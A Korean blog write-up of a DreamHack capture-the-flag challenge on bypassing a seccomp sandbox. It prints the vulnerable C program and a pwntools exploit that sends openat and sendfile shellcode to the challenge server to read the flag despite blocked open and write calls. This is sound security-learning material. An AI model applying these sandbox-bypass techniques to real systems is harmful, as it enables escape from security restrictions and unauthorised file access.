CIDY
[System_Hacking] AD: stage2_문제풀이(Bypass SECCOMP-1) 본문
*Bypass SECCOMP
개발자가 모든 시스템 콜울 숙지하고 있는 것은 아니기에, 보안은 완벽할 수 없고 상황에 따라 여러 우회 방법이 존재한다.
-타 시스템 콜 호출 : open을 막아뒀다면, 같은 기능을 수행하는 openat를 이용할 수 있음
-Application Binary Interface (ABI) : 아키텍쳐별로 명령어 세트와 기능, 크기 등이 다르고 시스템 콜 번호도 다르다. -> 서로 다른 아키텍쳐를 호환하기 위한 코드를 이용해 우회할 수 있다.
// 64-bit, nx, pie, full relro
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void sandbox() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
샌드박스 없이 문제만 보면 쉽다.
중요한 건 sandbox인데, allow니까 모두 허용 + 특정 함수는 비허용인데, execve, open, write, execveat의 시스템 콜을 쓸 수 없다.
open은 openat를 대체재로 쓸 수 있다고 위에서 말한 바 있음
시스템 콜 테이블을 뒤져보자... (쉘코드 만들 때 많이 봤던 페이지라 다행히 북마크해뒀다.)
그리고 openat시스템 콜의 원형은 다음과 같다.
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
그리고 두 번째 인자(pathname)가 절대경로일 경우 dirfd는 무시된다 -> char *형이니까 절대경로 문자열의 주소를 인자로 줘야 함. (어차피 문자열은 저장되면서 주소를 반환하니 바로 써주면 됨)
그리고 위의 시스템 콜 조건을 잘 고려해서 쉘크래프트를 쓰자.
from pwn import *
context.arch = "x86_64"
#p = process("./bypass_syscall")
p = remote("host3.dreamhack.games", 23826)
shellcode = shellcraft.openat(0, "/home/bypass_syscall/flag")
shellcode += shellcraft.sendfile(1, 'rax', 0, 100)
p.sendline(asm(shellcode))
p.interactive()
인자 세팅에 대해 좀 더 설명해보자면, 일단 저번에 execve를 못 쓸 때 open -> read -> write과정으로 플래그를 읽어 온 것을 기억할 것이다. ↓
https://orcinus-orca.tistory.com/24
[System_Hacking] stage4_shellcode만들기(open, execve)
마침 alphanumeric쉘코드 만들고 왔는데 드림핵에서 쉘코드를 만들어 보라길래... 그냥 인자 세팅 후 syscall만 해주면 되는거라 즐겁게 했다ㅎㅎㅎ *open /tmp/flag를 읽는 쉘코드를 만드는게 조건이었다
orcinus-orca.tistory.com
여기서 open -> openat로 대체해주고, write를 쓰지 못 하는 상황이니 read + write격인 sendfile을 써 준 것이다.
openat의 인자 세팅은 위에서 설명했고, sendfile의 경우
이렇게 생겼다. 출력은 표준출력이니 1, int in_fd는 rax(읽어올 파일의 fd), 3번째 인자는 뭔지 몰라서 0줬다ㅎㅎ 그리고 마지막은 읽어오는 사이즈니 넉넉하게 100
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] AD: stage2_문제풀이(seccomp) (0) | 2022.07.10 |
---|---|
[System_Hacking] AD: stage2_ABI(+예제) (0) | 2022.07.10 |
[System_Hacking] AD: stage2_SECCOMP (0) | 2022.07.10 |
[System_Hacking] stage15_문제풀이(validator) (0) | 2022.07.10 |
[System_Hacking] stage14_문제풀이(cmd_center) (0) | 2022.07.10 |